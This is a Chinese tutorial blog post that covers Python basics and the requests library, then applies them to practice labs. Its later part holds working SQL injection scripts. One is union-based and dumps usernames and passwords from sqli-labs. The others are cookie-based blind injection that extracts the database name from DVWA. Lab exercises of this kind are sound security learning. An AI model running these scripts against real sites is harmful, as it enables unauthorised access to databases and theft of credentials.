python的基础语法与网安应用

环境的配置:

方便省事,直接用pycharm
在这里插入图片描述
浅浅尝试一下发现成功

python的数据类型:

Numbers(数字)
String(字符串)
List(列表)
Tuple(元组)
Dictionary(字典)

数字:

int型:

a=1.0
int(a)
a=1

大体上与c语言差不多
但是python是支持复数的
complex(x, y) 将 x 和 y 转换到一个复数,实数部分为 x,虚数部分为 y。x 和 y 是数字表达式。
在这里插入图片描述
PS:值得注意的是:python没有”;“

列表:

序列是 Python 中最基本的数据结构。

序列中的每个值都有对应的位置值,称之为索引,第一个索引是 0,第二个索引是 1,依此类推。
Python 有 6 个序列的内置类型,但最常见的是列表和元组。
列表都可以进行的操作包括索引,切片,加,乘,检查成员。
此外,Python 已经内置确定序列的长度以及确定最大和最小的元素的方法。
列表是最常用的 Python 数据类型,它可以作为一个方括号内的逗号分隔值出现。
列表的数据项不需要具有相同的类型
创建一个列表,只要把逗号分隔的不同的数据项使用方括号括起来即可。

list = []
list.append('546456') #添加
list.append('gvdgdg')
print(list)
del list[1]  #删除
print(list)

在这里插入图片描述

元组

Python的元组与列表类似,不同之处在于元组的元素不能修改,元组中只包含一个元素时,需要在元素
后面添加逗号,元组可以直接相加拼接,也可以直接使用del删除。

y1 = (1, 2, 3, 4, 5 )
y2 = ("f**k you",)
print(y1 + y2)

在这里插入图片描述

字典:

字典是另一种可变容器模型,且可存储任意类型对象。

字典的每个键值 key=>value 对用冒号 : 分割,每个对之间用逗号(,)分割,整个字典包括在花括号 {} 中

tinydict = {'Name': '张三', '年龄': 7, '班级': 'First'}
print("tinydict['Name']: ", tinydict['Name'])
print("tinydict['年龄']: ", tinydict['年龄'])

在这里插入图片描述

tinydict = {'Name': '张三', '年龄': 7, '班级': 'First'}
tinydict['Name'] = 8 # 更新
tinydict['ff'] = "ffffffffawdadawd" # 添加
print("tinydict['Name']: ", tinydict['Name'])
print("tinydict['ff']: ", tinydict['ff'])
del tinydict['Name'] # 删除键是'Name'的数值
tinydict.clear() #删除所有数值

输入与输出:

a = 100
b = 50
print(a+b)
print('Hello,world!')
print("Hello,world!")
name = input('请输入您的姓名:')
print('我的姓名是'+name)

python在web中的应用:

request:

函数 用法
requests.request() 构造一个请求,支撑以下各方法的基础方法
requests.get() 获取HTML网页的主要方法,对应于HTTP的GET
requests.head() 获取HTML网页头信息的方法,对应于HTTP的HEAD
requests.post() 向HTML网页提交POST 请求的方法,对应于HTTP的POST
requests.put() 向HTML网页提交PUT请求的方法,对应于HTTP的PUT
requests.patch() 向HTML网页提交局部修改请求,对应于HTTP的PATCH
requests.delete() 向HTML网页提交删除请求,对应于HTTP的DELETE

实例:get传参

import requests
kv = {'key1': 'value1', 'key2': 'value2'}
r = requests.get("http://python123.io/ws", params = kv)
print (r.url)

运行结果:
在这里插入图片描述
诶,是不是很像我们ctf做题时的payload

返回内容

import requests
req = requests.get("http://www.uploa.com/upload-labs/")
print(req.text)

测试之前的网站:
在这里插入图片描述
返回了网页的源码:
继续

import requests

req = requests.get("http://www.uploa.com/upload-labs/")
print(type(req))  # 查看响应对象的类型
print(req.cookies) # 查看cookie

在这里插入图片描述

实战:SQL注入:

import requests
url = "http://www.sql-lab.com/sqli-labs-master/Less-1/"
header={
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0)
Gecko/20100101 Firefox/94.0',
'Accept-Language': 'zh-CN,zh;q=0.9',
'Accept':
'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*
;q=0.8'
}
str1 = 'Unknown column'
def func1():
for i in range(1,6):
url1 = url + '?id=1\' order by {} --+'.format(i)
r = requests.get(url1,headers=header)
#print(r.url)
if(str1 in r.text):
print('字段数为:' + format(i - 1))
break
def func2():
url2 = url + '?id=-1\' union select
1,group_concat(username,\':\',password),3 from users --+'
r = requests.get(url2,headers=header)
print(r.url)
print(r.text)
if __name__ == "__main__":
func1() #判断字段数
func2() #获取数据

在这里插入图片描述

DVWA 的盲注:

![在这里插入图片描述](https://img-blog.csdnimg.cn/e7ae6b9a9585447ea299ced53e09367e.png)
import requests

url = 'http://192.168.141.130/01/vulnerabilities/sqli_blind/'
cookie = {'id': '1', 'PHPSESSID': '7r8f2nlki2dhbdi29u6jg1j9ps', 'security': 'high'}
correct_len = len(requests.get(url=url, cookies=cookie).text)
# print(correct_len)
strs = 'qwertyuiopasdfghjklzxcvbnm'


def inject1():
    dbNameLen = 0
    while True:
        testcookie = '1\'+and+length(database())=' + str(dbNameLen) + '#'
        coo = {'id': testcookie, 'PHPSESSID': '7r8f2nlki2dhbdi29u6jg1j9ps', 'security': 'high'}
        if len(requests.get(url=url, cookies=coo).text) == correct_len:
            break
        dbNameLen += 1
    return dbNameLen


def inject2():
    dbName = ''
    for i in range(1, 5):
        for j in strs:
            testcookie = '1\' and (select ascii(substr(database(),{},1)) = {}) '.format(i, ord(j)) + '#'
            # print(testcookie)
            coo = {'id': testcookie, 'PHPSESSID': '7r8f2nlki2dhbdi29u6jg1j9ps', 'security': 'high'}
            if len(requests.get(url=url, cookies=coo).text) == correct_len:
                dbName += j
                # print(dbName)
                break
    return dbName


print(inject1())
print(inject2())

在这里插入图片描述
好奇怪 原来是没改cookie
在这里插入图片描述

import requests

url = 'http://192.168.141.130/01/vulnerabilities/sqli_blind/'
cookie = {
    'id': '1',
    'PHPSESSID': 'fobc2fpnamma2plklu3fm9ahs1',
    'security': 'high'
}

# 获取正确的页面长度
correct_len = len(requests.get(url=url, cookies=cookie).text)

# 字符串集合
strs = 'qwertyuiopasdfghjklzxcvbnm'

def inject1():
    dbNameLen = 0
    while True:
        payload = f"1' AND LENGTH(DATABASE())={dbNameLen}-- "
        testcookie = {
            'id': payload,
            'PHPSESSID': 'fobc2fpnamma2plklu3fm9ahs1',
            'security': 'high'
        }
        if len(requests.get(url=url, cookies=testcookie).text) == correct_len:
            break
        dbNameLen += 1
    return dbNameLen

def inject2():
    dbName = ''
    for i in range(1, 5):
        for j in strs:
            payload = f"1' AND (SELECT ASCII(SUBSTRING(DATABASE(), {i}, 1))={ord(j)})-- "
            testcookie = {
                'id': payload,
                'PHPSESSID': 'fobc2fpnamma2plklu3fm9ahs1',
                'security': 'high'
            }
            if len(requests.get(url=url, cookies=testcookie).text) == correct_len:
                dbName += j
                break
    return dbName

print(inject1())
print(inject2())
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值